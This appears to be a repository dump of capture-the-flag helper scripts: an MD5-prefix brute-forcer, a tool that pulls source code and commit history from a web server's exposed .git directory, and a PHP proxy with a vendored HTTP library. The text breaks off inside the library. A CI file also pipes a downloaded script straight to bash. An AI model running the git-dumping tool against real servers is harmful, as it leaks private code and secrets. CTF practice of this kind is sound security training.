├── .gitignore ├── MD5-6bits-burp ├── README.md └── runmd5-burp-6-bits.py ├── README.md ├── git-history-hack └── githack.py ├── php-proxy ├── proxy.php └── requests │ ├── .coveralls.yml │ ├── .gitignore │ ├── .travis.yml │ ├── Requests.php │ └── Requests │ ├── Auth.php │ ├── Auth │ └── Basic.php │ ├── Cookie.php │ ├── Cookie │ └── Jar.php │ ├── Exception.php │ ├── Exception │ ├── HTTP.php │ ├── HTTP │ │ ├── 304.php │ │ ├── 305.php │ │ ├── 306.php │ │ ├── 400.php │ │ ├── 401.php │ │ ├── 402.php │ │ ├── 403.php │ │ ├── 404.php │ │ ├── 405.php │ │ ├── 406.php │ │ ├── 407.php │ │ ├── 408.php │ │ ├── 409.php │ │ ├── 410.php │ │ ├── 411.php │ │ ├── 412.php │ │ ├── 413.php │ │ ├── 414.php │ │ ├── 415.php │ │ ├── 416.php │ │ ├── 417.php │ │ ├── 418.php │ │ ├── 428.php │ │ ├── 429.php │ │ ├── 431.php │ │ ├── 500.php │ │ ├── 501.php │ │ ├── 502.php │ │ ├── 503.php │ │ ├── 504.php │ │ ├── 505.php │ │ ├── 511.php │ │ └── Unknown.php │ ├── Transport.php │ └── Transport │ │ └── cURL.php │ ├── Hooker.php │ ├── Hooks.php │ ├── IDNAEncoder.php │ ├── IPv6.php │ ├── IRI.php │ ├── Proxy.php │ ├── Proxy │ └── HTTP.php │ ├── Response.php │ ├── Response │ └── Headers.php │ ├── SSL.php │ ├── Session.php │ ├── Transport.php │ ├── Transport │ ├── cURL.php │ ├── cacert.pem │ └── fsockopen.php │ └── Utility │ ├── CaseInsensitiveDictionary.php │ └── FilteredIterator.php ├── php-shell ├── README.md └── shell.php └── vim-down ├── README.md ├── backdown.py └── urllist.txt /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc -------------------------------------------------------------------------------- /MD5-6bits-burp/README.md: -------------------------------------------------------------------------------- 1 | ## Multiple process burp tool 2 | 3 | It can burp for 6 bits of a MD5 string efficiently. 4 | 5 | Before use, please modify the config of the number of your processors in source code. -------------------------------------------------------------------------------- /MD5-6bits-burp/runmd5-burp-6-bits.py: -------------------------------------------------------------------------------- 1 | import multiprocessing 2 | from os import urandom 3 | from hashlib import md5 4 | import sys 5 | 6 | processor_number = 8 7 | 8 | 9 | def work(cipher): 10 | for i in xrange(100): 11 | plain = urandom(16).encode('hex') 12 | if md5(plain).hexdigest()[:6] == cipher: 13 | print plain 14 | sys.exit(0) 15 | 16 | 17 | if __name__ == '__main__': 18 | cipher = raw_input('md5:') 19 | print 'Processor Number:', multiprocessing.cpu_count() 20 | pool = multiprocessing.Pool(processes=processor_number) 21 | while True: 22 | plain = urandom(16).encode('hex') 23 | pool.apply_async(work, (cipher, )) 24 | pool.close() 25 | pool.join() 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF Scripts 2 | 3 | Some useful scripts for ctf game 4 | -------------------------------------------------------------------------------- /git-history-hack/githack.py: -------------------------------------------------------------------------------- 1 | ###################################################### 2 | # coding by wupco --whu dawn # 3 | # git_history_hack # 4 | # ex: githack.py http://218.76.35.75:20104/ gitfiles # 5 | ###################################################### 6 | #coding:utf-8 7 | import urllib2 8 | import os 9 | import re 10 | import urlparse 11 | import zlib 12 | import binascii 13 | import sys 14 | reload(sys) 15 | sys.setdefaultencoding('utf-8') 16 | 17 | root = 1 18 | def lastHash(url): 19 | ref = urllib2.urlopen(str(url)+"/.git/HEAD") 20 | if ref: 21 | refstr = str(ref.read().strip().split(": ")[1]) 22 | lasthash = str(urllib2.urlopen(str(url)+"/.git/"+refstr).read()).strip() 23 | return lasthash 24 | else: 25 | return False 26 | 27 | def getfile(hashstr,url,truedir,outputrootdir): 28 | global root 29 | dic = str(hashstr[0:2]) 30 | fname = str(hashstr[2:]) 31 | filedata = urllib2.urlopen(str(url)+"/.git/objects/"+dic+"/"+fname).read() 32 | filedata = zlib.decompress(filedata) 33 | if str(filedata[0:6])=='commit': 34 | commit_tree = filedata.split("\n")[0].split('tree ')[1].strip() 35 | print 'output history'+str(root) 36 | parent = filedata.split("\n")[1].split('parent ')[1].strip() if str(filedata.split("\n")[1][0:6])=='parent' else 'Null' 37 | getfile(commit_tree,url,truedir,outputrootdir) 38 | with open(outputrootdir+'/'+str(root)+'/commit_information'+str(hashstr)+'.txt', 'w') as f: 39 | f.write(filedata.decode("ascii")) 40 | root = root + 1 41 | if parent!='Null': 42 | getfile(parent,url,truedir,outputrootdir) 43 | 44 | elif str(filedata[0:4])=='tree': 45 | if filedata.find("40000 ")!=-1: 46 | dirfile = filedata.split("40000 ") 47 | if len(dirfile)<=2: 48 | dirfilesplit = dirfile[1].split(chr(0),1) 49 | dirname = dirfilesplit[0] 50 | dirhex = binascii.b2a_hex(str(dirfilesplit[1])[0:20]) 51 | truedir = str(root)+'/'+dirname 52 | getfile(dirhex,url,truedir,outputrootdir) 53 | truedir = chr(0) 54 | else: 55 | for j in range(1,len(dirfile)-1,1): 56 | dirfilesplit = dirfile[j].split(chr(0),1) 57 | dirname = dirfilesplit[0] 58 | dirhex = binascii.b2a_hex(str(dirfilesplit[1])[0:20]) 59 | truedir = str(root)+'/'+dirname 60 | getfile(dirhex,url,truedir,outputrootdir) 61 | truedir = chr(0) 62 | 63 | if filedata.find("100644 ")!=-1: 64 | splitstr = filedata.split("100644 ") 65 | for i in range(1,len(splitstr),1): 66 | filesplit = splitstr[i].split(chr(0),1) 67 | filename = filesplit[0] 68 | savedir = hashstr 69 | filehex = binascii.b2a_hex(str(filesplit[1])[0:20]) 70 | filecontent = re.sub('blob \d+\00', '', getfile(filehex,url,truedir,outputrootdir)) 71 | outputfile(filename,filecontent,truedir,outputrootdir) 72 | 73 | else: 74 | return filedata 75 | 76 | 77 | def outputfile(filename,filecontent,truedir,outputrootdir): 78 | global root 79 | if not os.path.exists(outputrootdir+'/'+str(root)): 80 | os.mkdir(outputrootdir+'/'+str(root)) 81 | if truedir!=chr(0): 82 | if not os.path.exists(outputrootdir+'/'+truedir): 83 | os.mkdir(outputrootdir+'/'+truedir) 84 | with open(outputrootdir+'/'+truedir+'/'+filename, 'wb') as f: 85 | f.write(filecontent) 86 | else: 87 | with open(outputrootdir+'/'+str(root)+'/'+filename, 'wb') as f: 88 | f.write(filecontent) 89 | return 90 | 91 | if __name__ == '__main__': 92 | url = str(sys.argv[1]) 93 | opfilename = str(sys.argv[2]) 94 | lasthash = lastHash(url) 95 | if not os.path.exists(opfilename): 96 | os.mkdir(opfilename) 97 | getfile(lasthash,url,chr(0),opfilename) 98 | -------------------------------------------------------------------------------- /php-proxy/proxy.php: -------------------------------------------------------------------------------- 1 | "; 11 | # you can include this php script. 12 | 13 | /** 14 | * This class is for the request object 15 | */ 16 | class reqPackage 17 | { 18 | var $domin = 'www.yqxiaojunjie.com'; # Domin to send request 19 | var $POSTs; # POST array 20 | var $Headers; # Header information 21 | 22 | 23 | function get_url() 24 | { 25 | if (isset($_SERVER['REQUEST_URI'])) 26 | { 27 | $uri = $_SERVER['REQUEST_URI']; 28 | } 29 | else 30 | { 31 | if (isset($_SERVER['argv'])) 32 | { 33 | $uri = $_SERVER['PHP_SELF'] .'?'. $_SERVER['argv'][0]; 34 | } 35 | else 36 | { 37 | $uri = $_SERVER['PHP_SELF'] .'?'. $_SERVER['QUERY_STRING']; 38 | } 39 | } 40 | $this->url = 'http://' . $this->domin. $uri; 41 | return $this->url; 42 | } 43 | 44 | 45 | function load_data() 46 | { 47 | $this->POSTs = $_POST; 48 | return $this->POSTs; 49 | } 50 | 51 | 52 | function load_header() 53 | { 54 | $headers = array(); 55 | /* 56 | foreach ($_SERVER as $key => $value) { 57 | if ('HTTP_' == substr($key, 0, 5)) { 58 | $headers[str_replace('_', '-', substr($key, 5))] = $value; 59 | } 60 | } 61 | */ 62 | 63 | $headers = getallheaders(); 64 | $this->Headers = $headers; 65 | return $this->Headers; 66 | } 67 | function send_request() 68 | { 69 | $method = $_SERVER['REQUEST_METHOD']; 70 | $url = $this->url; 71 | $headers = $this->Headers; 72 | $headers['Host'] = $this->domin; 73 | $headers['Connection'] = 'Keep-Alive'; 74 | 75 | if ($method == 'GET') 76 | { 77 | $request = Requests::get($url, $headers); 78 | } 79 | 80 | elseif ($method == 'POST') 81 | { 82 | $data = $this->POSTs; 83 | $request = Requests::post($url, $headers, $data); 84 | 85 | } 86 | 87 | foreach($request->headers as $k=>$v) 88 | { 89 | if ($v == "gzip") continue; 90 | else 91 | header((string)$k.": ".(string)$v,true); 92 | } 93 | 94 | 95 | echo $request->body; 96 | //print_r($request->headers); 97 | 98 | } 99 | 100 | } 101 | 102 | 103 | $r = new reqPackage(); 104 | $r->get_url(); 105 | $r->load_header(); 106 | $r->load_data(); 107 | $r->send_request(); 108 | 109 | ?> 110 | -------------------------------------------------------------------------------- /php-proxy/requests/.coveralls.yml: -------------------------------------------------------------------------------- 1 | src_dir: library 2 | coverage_clover: tests/clover.xml 3 | json_path: tests/coveralls.json 4 | service_name: travis-ci -------------------------------------------------------------------------------- /php-proxy/requests/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore coverage report 2 | tests/coverage/* 3 | 4 | # Ignore composer related files 5 | /composer.lock 6 | /vendor 7 | -------------------------------------------------------------------------------- /php-proxy/requests/.travis.yml: -------------------------------------------------------------------------------- 1 | language: php 2 | matrix: 3 | fast_finish: true 4 | include: 5 | - php: 5.2 6 | - php: 5.3 7 | - php: 5.4 8 | - php: 5.5 9 | - php: 5.6 10 | env: TEST_COVERAGE=1 11 | - php: 7.0 12 | - php: hhvm 13 | 14 | # Use new container infrastructure 15 | sudo: false 16 | 17 | cache: 18 | directories: 19 | - $HOME/.cache/pip 20 | - $HOME/.composer/cache 21 | - vendor 22 | 23 | install: 24 | # Setup the test server 25 | - phpenv local 5.5 26 | - composer install --dev --no-interaction 27 | - TESTPHPBIN=$(phpenv which php) 28 | - phpenv local --unset 29 | 30 | # Setup the proxy 31 | - pip install --user mitmproxy~=0.15 32 | 33 | before_script: 34 | - PHPBIN=$TESTPHPBIN PORT=8080 vendor/bin/start.sh 35 | - export REQUESTS_TEST_HOST_HTTP="localhost:8080" 36 | 37 | # Work out of the tests directory 38 | - cd tests 39 | - PROXYBIN="$HOME/.local/bin/mitmdump" PORT=9002 utils/proxy/start.sh 40 | - PROXYBIN="$HOME/.local/bin/mitmdump" PORT=9003 AUTH="test:pass" utils/proxy/start.sh 41 | - export REQUESTS_HTTP_PROXY="localhost:9002" 42 | - export REQUESTS_HTTP_PROXY_AUTH="localhost:9003" 43 | - export REQUESTS_HTTP_PROXY_AUTH_USER="test" 44 | - export REQUESTS_HTTP_PROXY_AUTH_PASS="pass" 45 | 46 | # Ensure the HTTPS test instance on Heroku is spun up 47 | - curl -s -I http://requests-php-tests.herokuapp.com/ > /dev/null 48 | 49 | script: 50 | - phpunit --coverage-clover clover.xml 51 | 52 | after_script: 53 | - utils/proxy/stop.sh 54 | - cd .. 55 | - phpenv local 5.5 56 | - PATH=$PATH vendor/bin/stop.sh 57 | - test $TEST_COVERAGE && bash <(curl -s https://codecov.io/bash) 58 | - phpenv local --unset 59 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests.php: -------------------------------------------------------------------------------- 1 | dispatch('requests.before_request', array(&$url, &$headers, &$data, &$type, &$options)); 366 | 367 | if (!empty($options['transport'])) { 368 | $transport = $options['transport']; 369 | 370 | if (is_string($options['transport'])) { 371 | $transport = new $transport(); 372 | } 373 | } 374 | else { 375 | $need_ssl = (0 === stripos($url, 'https://')); 376 | $capabilities = array('ssl' => $need_ssl); 377 | $transport = self::get_transport($capabilities); 378 | } 379 | $response = $transport->request($url, $headers, $data, $options); 380 | 381 | $options['hooks']->dispatch('requests.before_parse', array(&$response, $url, $headers, $data, $type, $options)); 382 | 383 | return self::parse_response($response, $url, $headers, $data, $options); 384 | } 385 | 386 | /** 387 | * Send multiple HTTP requests simultaneously 388 | * 389 | * The `$requests` parameter takes an associative or indexed array of 390 | * request fields. The key of each request can be used to match up the 391 | * request with the returned data, or with the request passed into your 392 | * `multiple.request.complete` callback. 393 | * 394 | * The request fields value is an associative array with the following keys: 395 | * 396 | * - `url`: Request URL Same as the `$url` parameter to 397 | * {@see Requests::request} 398 | * (string, required) 399 | * - `headers`: Associative array of header fields. Same as the `$headers` 400 | * parameter to {@see Requests::request} 401 | * (array, default: `array()`) 402 | * - `data`: Associative array of data fields or a string. Same as the 403 | * `$data` parameter to {@see Requests::request} 404 | * (array|string, default: `array()`) 405 | * - `type`: HTTP request type (use Requests constants). Same as the `$type` 406 | * parameter to {@see Requests::request} 407 | * (string, default: `Requests::GET`) 408 | * - `cookies`: Associative array of cookie name to value, or cookie jar. 409 | * (array|Requests_Cookie_Jar) 410 | * 411 | * If the `$options` parameter is specified, individual requests will 412 | * inherit options from it. This can be used to use a single hooking system, 413 | * or set all the types to `Requests::POST`, for example. 414 | * 415 | * In addition, the `$options` parameter takes the following global options: 416 | * 417 | * - `complete`: A callback for when a request is complete. Takes two 418 | * parameters, a Requests_Response/Requests_Exception reference, and the 419 | * ID from the request array (Note: this can also be overridden on a 420 | * per-request basis, although that's a little silly) 421 | * (callback) 422 | * 423 | * @param array $requests Requests data (see description for more information) 424 | * @param array $options Global and default options (see {@see Requests::request}) 425 | * @return array Responses (either Requests_Response or a Requests_Exception object) 426 | */ 427 | public static function request_multiple($requests, $options = array()) { 428 | $options = array_merge(self::get_default_options(true), $options); 429 | 430 | if (!empty($options['hooks'])) { 431 | $options['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple')); 432 | if (!empty($options['complete'])) { 433 | $options['hooks']->register('multiple.request.complete', $options['complete']); 434 | } 435 | } 436 | 437 | foreach ($requests as $id => &$request) { 438 | if (!isset($request['headers'])) { 439 | $request['headers'] = array(); 440 | } 441 | if (!isset($request['data'])) { 442 | $request['data'] = array(); 443 | } 444 | if (!isset($request['type'])) { 445 | $request['type'] = self::GET; 446 | } 447 | if (!isset($request['options'])) { 448 | $request['options'] = $options; 449 | $request['options']['type'] = $request['type']; 450 | } 451 | else { 452 | if (empty($request['options']['type'])) { 453 | $request['options']['type'] = $request['type']; 454 | } 455 | $request['options'] = array_merge($options, $request['options']); 456 | } 457 | 458 | self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']); 459 | 460 | // Ensure we only hook in once 461 | if ($request['options']['hooks'] !== $options['hooks']) { 462 | $request['options']['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple')); 463 | if (!empty($request['options']['complete'])) { 464 | $request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']); 465 | } 466 | } 467 | } 468 | unset($request); 469 | 470 | if (!empty($options['transport'])) { 471 | $transport = $options['transport']; 472 | 473 | if (is_string($options['transport'])) { 474 | $transport = new $transport(); 475 | } 476 | } 477 | else { 478 | $transport = self::get_transport(); 479 | } 480 | $responses = $transport->request_multiple($requests, $options); 481 | 482 | foreach ($responses as $id => &$response) { 483 | // If our hook got messed with somehow, ensure we end up with the 484 | // correct response 485 | if (is_string($response)) { 486 | $request = $requests[$id]; 487 | self::parse_multiple($response, $request); 488 | $request['options']['hooks']->dispatch('multiple.request.complete', array(&$response, $id)); 489 | } 490 | } 491 | 492 | return $responses; 493 | } 494 | 495 | /** 496 | * Get the default options 497 | * 498 | * @see Requests::request() for values returned by this method 499 | * @param boolean $multirequest Is this a multirequest? 500 | * @return array Default option values 501 | */ 502 | protected static function get_default_options($multirequest = false) { 503 | $defaults = array( 504 | 'timeout' => 10, 505 | 'connect_timeout' => 10, 506 | 'useragent' => 'php-requests/' . self::VERSION, 507 | 'protocol_version' => 1.1, 508 | 'redirected' => 0, 509 | 'redirects' => 10, 510 | 'follow_redirects' => true, 511 | 'blocking' => true, 512 | 'type' => self::GET, 513 | 'filename' => false, 514 | 'auth' => false, 515 | 'proxy' => false, 516 | 'cookies' => false, 517 | 'max_bytes' => false, 518 | 'idn' => true, 519 | 'hooks' => null, 520 | 'transport' => null, 521 | 'verify' => Requests::get_certificate_path(), 522 | 'verifyname' => true, 523 | ); 524 | if ($multirequest !== false) { 525 | $defaults['complete'] = null; 526 | } 527 | return $defaults; 528 | } 529 | 530 | /** 531 | * Get default certificate path. 532 | * 533 | * @return string Default certificate path. 534 | */ 535 | public static function get_certificate_path() { 536 | if ( ! empty( Requests::$certificate_path ) ) { 537 | return Requests::$certificate_path; 538 | } 539 | 540 | return dirname(__FILE__) . '/Requests/Transport/cacert.pem'; 541 | } 542 | 543 | /** 544 | * Set default certificate path. 545 | * 546 | * @param string $path Certificate path, pointing to a PEM file. 547 | */ 548 | public static function set_certificate_path( $path ) { 549 | Requests::$certificate_path = $path; 550 | } 551 | 552 | /** 553 | * Set the default values 554 | * 555 | * @param string $url URL to request 556 | * @param array $headers Extra headers to send with the request 557 | * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests 558 | * @param string $type HTTP request type 559 | * @param array $options Options for the request 560 | * @return array $options 561 | */ 562 | protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) { 563 | if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) { 564 | throw new Requests_Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url); 565 | } 566 | 567 | if (empty($options['hooks'])) { 568 | $options['hooks'] = new Requests_Hooks(); 569 | } 570 | 571 | if (is_array($options['auth'])) { 572 | $options['auth'] = new Requests_Auth_Basic($options['auth']); 573 | } 574 | if ($options['auth'] !== false) { 575 | $options['auth']->register($options['hooks']); 576 | } 577 | 578 | if (is_string($options['proxy']) || is_array($options['proxy'])) { 579 | $options['proxy'] = new Requests_Proxy_HTTP($options['proxy']); 580 | } 581 | if ($options['proxy'] !== false) { 582 | $options['proxy']->register($options['hooks']); 583 | } 584 | 585 | if (is_array($options['cookies'])) { 586 | $options['cookies'] = new Requests_Cookie_Jar($options['cookies']); 587 | } 588 | elseif (empty($options['cookies'])) { 589 | $options['cookies'] = new Requests_Cookie_Jar(); 590 | } 591 | if ($options['cookies'] !== false) { 592 | $options['cookies']->register($options['hooks']); 593 | } 594 | 595 | if ($options['idn'] !== false) { 596 | $iri = new Requests_IRI($url); 597 | $iri->host = Requests_IDNAEncoder::encode($iri->ihost); 598 | $url = $iri->uri; 599 | } 600 | 601 | // Massage the type to ensure we support it. 602 | $type = strtoupper($type); 603 | 604 | if (!isset($options['data_format'])) { 605 | if (in_array($type, array(self::HEAD, self::GET, self::DELETE))) { 606 | $options['data_format'] = 'query'; 607 | } 608 | else { 609 | $options['data_format'] = 'body'; 610 | } 611 | } 612 | } 613 | 614 | /** 615 | * HTTP response parser 616 | * 617 | * @throws Requests_Exception On missing head/body separator (`requests.no_crlf_separator`) 618 | * @throws Requests_Exception On missing head/body separator (`noversion`) 619 | * @throws Requests_Exception On missing head/body separator (`toomanyredirects`) 620 | * 621 | * @param string $headers Full response text including headers and body 622 | * @param string $url Original request URL 623 | * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects 624 | * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects 625 | * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects 626 | * @return Requests_Response 627 | */ 628 | protected static function parse_response($headers, $url, $req_headers, $req_data, $options) { 629 | $return = new Requests_Response(); 630 | if (!$options['blocking']) { 631 | return $return; 632 | } 633 | 634 | $return->raw = $headers; 635 | $return->url = $url; 636 | 637 | if (!$options['filename']) { 638 | if (($pos = strpos($headers, "\r\n\r\n")) === false) { 639 | // Crap! 640 | throw new Requests_Exception('Missing header/body separator', 'requests.no_crlf_separator'); 641 | } 642 | 643 | $headers = substr($return->raw, 0, $pos); 644 | $return->body = substr($return->raw, $pos + strlen("\n\r\n\r")); 645 | } 646 | else { 647 | $return->body = ''; 648 | } 649 | // Pretend CRLF = LF for compatibility (RFC 2616, section 19.3) 650 | $headers = str_replace("\r\n", "\n", $headers); 651 | // Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2) 652 | $headers = preg_replace('/\n[ \t]/', ' ', $headers); 653 | $headers = explode("\n", $headers); 654 | preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches); 655 | if (empty($matches)) { 656 | throw new Requests_Exception('Response could not be parsed', 'noversion', $headers); 657 | } 658 | $return->protocol_version = (float) $matches[1]; 659 | $return->status_code = (int) $matches[2]; 660 | if ($return->status_code >= 200 && $return->status_code < 300) { 661 | $return->success = true; 662 | } 663 | 664 | foreach ($headers as $header) { 665 | list($key, $value) = explode(':', $header, 2); 666 | $value = trim($value); 667 | preg_replace('#(\s+)#i', ' ', $value); 668 | $return->headers[$key] = $value; 669 | } 670 | if (isset($return->headers['transfer-encoding'])) { 671 | $return->body = self::decode_chunked($return->body); 672 | unset($return->headers['transfer-encoding']); 673 | } 674 | if (isset($return->headers['content-encoding'])) { 675 | $return->body = self::decompress($return->body); 676 | } 677 | 678 | //fsockopen and cURL compatibility 679 | if (isset($return->headers['connection'])) { 680 | unset($return->headers['connection']); 681 | } 682 | 683 | $options['hooks']->dispatch('requests.before_redirect_check', array(&$return, $req_headers, $req_data, $options)); 684 | 685 | if ($return->is_redirect() && $options['follow_redirects'] === true) { 686 | if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) { 687 | if ($return->status_code === 303) { 688 | $options['type'] = self::GET; 689 | } 690 | $options['redirected']++; 691 | $location = $return->headers['location']; 692 | if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) { 693 | // relative redirect, for compatibility make it absolute 694 | $location = Requests_IRI::absolutize($url, $location); 695 | $location = $location->uri; 696 | } 697 | 698 | $hook_args = array( 699 | &$location, 700 | &$req_headers, 701 | &$req_data, 702 | &$options, 703 | $return 704 | ); 705 | $options['hooks']->dispatch('requests.before_redirect', $hook_args); 706 | $redirected = self::request($location, $req_headers, $req_data, $options['type'], $options); 707 | $redirected->history[] = $return; 708 | return $redirected; 709 | } 710 | elseif ($options['redirected'] >= $options['redirects']) { 711 | throw new Requests_Exception('Too many redirects', 'toomanyredirects', $return); 712 | } 713 | } 714 | 715 | $return->redirects = $options['redirected']; 716 | 717 | $options['hooks']->dispatch('requests.after_request', array(&$return, $req_headers, $req_data, $options)); 718 | return $return; 719 | } 720 | 721 | /** 722 | * Callback for `transport.internal.parse_response` 723 | * 724 | * Internal use only. Converts a raw HTTP response to a Requests_Response 725 | * while still executing a multiple request. 726 | * 727 | * @param string $response Full response text including headers and body (will be overwritten with Response instance) 728 | * @param array $request Request data as passed into {@see Requests::request_multiple()} 729 | * @return null `$response` is either set to a Requests_Response instance, or a Requests_Exception object 730 | */ 731 | public static function parse_multiple(&$response, $request) { 732 | try { 733 | $url = $request['url']; 734 | $headers = $request['headers']; 735 | $data = $request['data']; 736 | $options = $request['options']; 737 | $response = self::parse_response($response, $url, $headers, $data, $options); 738 | } 739 | catch (Requests_Exception $e) { 740 | $response = $e; 741 | } 742 | } 743 | 744 | /** 745 | * Decoded a chunked body as per RFC 2616 746 | * 747 | * @see https://tools.ietf.org/html/rfc2616#section-3.6.1 748 | * @param string $data Chunked body 749 | * @return string Decoded body 750 | */ 751 | protected static function decode_chunked($data) { 752 | if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($data))) { 753 | return $data; 754 | } 755 | 756 | $decoded = ''; 757 | $encoded = $data; 758 | 759 | while (true) { 760 | $is_chunked = (bool) preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches); 761 | if (!$is_chunked) { 762 | // Looks like it's not chunked after all 763 | return $data; 764 | } 765 | 766 | $length = hexdec(trim($matches[1])); 767 | if ($length === 0) { 768 | // Ignore trailer headers 769 | return $decoded; 770 | } 771 | 772 | $chunk_length = strlen($matches[0]); 773 | $decoded .= substr($encoded, $chunk_length, $length); 774 | $encoded = substr($encoded, $chunk_length + $length + 2); 775 | 776 | if (trim($encoded) === '0' || empty($encoded)) { 777 | return $decoded; 778 | } 779 | } 780 | 781 | // We'll never actually get down here 782 | // @codeCoverageIgnoreStart 783 | } 784 | // @codeCoverageIgnoreEnd 785 | 786 | /** 787 | * Convert a key => value array to a 'key: value' array for headers 788 | * 789 | * @param array $array Dictionary of header values 790 | * @return array List of headers 791 | */ 792 | public static function flatten($array) { 793 | $return = array(); 794 | foreach ($array as $key => $value) { 795 | $return[] = sprintf('%s: %s', $key, $value); 796 | } 797 | return $return; 798 | } 799 | 800 | /** 801 | * Convert a key => value array to a 'key: value' array for headers 802 | * 803 | * @codeCoverageIgnore 804 | * @deprecated Misspelling of {@see Requests::flatten} 805 | * @param array $array Dictionary of header values 806 | * @return array List of headers 807 | */ 808 | public static function flattern($array) { 809 | return self::flatten($array); 810 | } 811 | 812 | /** 813 | * Decompress an encoded body 814 | * 815 | * Implements gzip, compress and deflate. Guesses which it is by attempting 816 | * to decode. 817 | * 818 | * @param string $data Compressed data in one of the above formats 819 | * @return string Decompressed string 820 | */ 821 | public static function decompress($data) { 822 | if (substr($data, 0, 2) !== "\x1f\x8b" && substr($data, 0, 2) !== "\x78\x9c") { 823 | // Not actually compressed. Probably cURL ruining this for us. 824 | return $data; 825 | } 826 | 827 | if (function_exists('gzdecode') && ($decoded = @gzdecode($data)) !== false) { 828 | return $decoded; 829 | } 830 | elseif (function_exists('gzinflate') && ($decoded = @gzinflate($data)) !== false) { 831 | return $decoded; 832 | } 833 | elseif (($decoded = self::compatible_gzinflate($data)) !== false) { 834 | return $decoded; 835 | } 836 | elseif (function_exists('gzuncompress') && ($decoded = @gzuncompress($data)) !== false) { 837 | return $decoded; 838 | } 839 | 840 | return $data; 841 | } 842 | 843 | /** 844 | * Decompression of deflated string while staying compatible with the majority of servers. 845 | * 846 | * Certain Servers will return deflated data with headers which PHP's gzinflate() 847 | * function cannot handle out of the box. The following function has been created from 848 | * various snippets on the gzinflate() PHP documentation. 849 | * 850 | * Warning: Magic numbers within. Due to the potential different formats that the compressed 851 | * data may be returned in, some "magic offsets" are needed to ensure proper decompression 852 | * takes place. For a simple progmatic way to determine the magic offset in use, see: 853 | * https://core.trac.wordpress.org/ticket/18273 854 | * 855 | * @since 2.8.1 856 | * @link https://core.trac.wordpress.org/ticket/18273 857 | * @link https://secure.php.net/manual/en/function.gzinflate.php#70875 858 | * @link https://secure.php.net/manual/en/function.gzinflate.php#77336 859 | * 860 | * @param string $gzData String to decompress. 861 | * @return string|bool False on failure. 862 | */ 863 | public static function compatible_gzinflate($gzData) { 864 | // Compressed data might contain a full zlib header, if so strip it for 865 | // gzinflate() 866 | if (substr($gzData, 0, 3) == "\x1f\x8b\x08") { 867 | $i = 10; 868 | $flg = ord(substr($gzData, 3, 1)); 869 | if ($flg > 0) { 870 | if ($flg & 4) { 871 | list($xlen) = unpack('v', substr($gzData, $i, 2)); 872 | $i = $i + 2 + $xlen; 873 | } 874 | if ($flg & 8) { 875 | $i = strpos($gzData, "\0", $i) + 1; 876 | } 877 | if ($flg & 16) { 878 | $i = strpos($gzData, "\0", $i) + 1; 879 | } 880 | if ($flg & 2) { 881 | $i = $i + 2; 882 | } 883 | } 884 | $decompressed = self::compatible_gzinflate(substr($gzData, $i)); 885 | if (false !== $decompressed) { 886 | return $decompressed; 887 | } 888 | } 889 | 890 | // If the data is Huffman Encoded, we must first strip the leading 2 891 | // byte Huffman marker for gzinflate() 892 | // The response is Huffman coded by many compressors such as 893 | // java.util.zip.Deflater, Ruby’s Zlib::Deflate, and .NET's 894 | // System.IO.Compression.DeflateStream. 895 | // 896 | // See https://decompres.blogspot.com/ for a quick explanation of this 897 | // data type 898 | $huffman_encoded = false; 899 | 900 | // low nibble of first byte should be 0x08 901 | list(, $first_nibble) = unpack('h', $gzData); 902 | 903 | // First 2 bytes should be divisible by 0x1F 904 | list(, $first_two_bytes) = unpack('n', $gzData); 905 | 906 | if (0x08 == $first_nibble && 0 == ($first_two_bytes % 0x1F)) { 907 | $huffman_encoded = true; 908 | } 909 | 910 | if ($huffman_encoded) { 911 | if (false !== ($decompressed = @gzinflate(substr($gzData, 2)))) { 912 | return $decompressed; 913 | } 914 | } 915 | 916 | if ("\x50\x4b\x03\x04" == substr($gzData, 0, 4)) { 917 | // ZIP file format header 918 | // Offset 6: 2 bytes, General-purpose field 919 | // Offset 26: 2 bytes, filename length 920 | // Offset 28: 2 bytes, optional field length 921 | // Offset 30: Filename field, followed by optional field, followed 922 | // immediately by data 923 | list(, $general_purpose_flag) = unpack('v', substr($gzData, 6, 2)); 924 | 925 | // If the file has been compressed on the fly, 0x08 bit is set of 926 | // the general purpose field. We can use this to differentiate 927 | // between a compressed document, and a ZIP file 928 | $zip_compressed_on_the_fly = (0x08 == (0x08 & $general_purpose_flag)); 929 | 930 | if (!$zip_compressed_on_the_fly) { 931 | // Don't attempt to decode a compressed zip file 932 | return $gzData; 933 | } 934 | 935 | // Determine the first byte of data, based on the above ZIP header 936 | // offsets: 937 | $first_file_start = array_sum(unpack('v2', substr($gzData, 26, 4))); 938 | if (false !== ($decompressed = @gzinflate(substr($gzData, 30 + $first_file_start)))) { 939 | return $decompressed; 940 | } 941 | return false; 942 | } 943 | 944 | // Finally fall back to straight gzinflate 945 | if (false !== ($decompressed = @gzinflate($gzData))) { 946 | return $decompressed; 947 | } 948 | 949 | // Fallback for all above failing, not expected, but included for 950 | // debugging and preventing regressions and to track stats 951 | if (false !== ($decompressed = @gzinflate(substr($gzData, 2)))) { 952 | return $decompressed; 953 | } 954 | 955 | return false; 956 | } 957 | 958 | public static function match_domain($host, $reference) { 959 | // Check for a direct match 960 | if ($host === $reference) { 961 | return true; 962 | } 963 | 964 | // Calculate the valid wildcard match if the host is not an IP address 965 | // Also validates that the host has 3 parts or more, as per 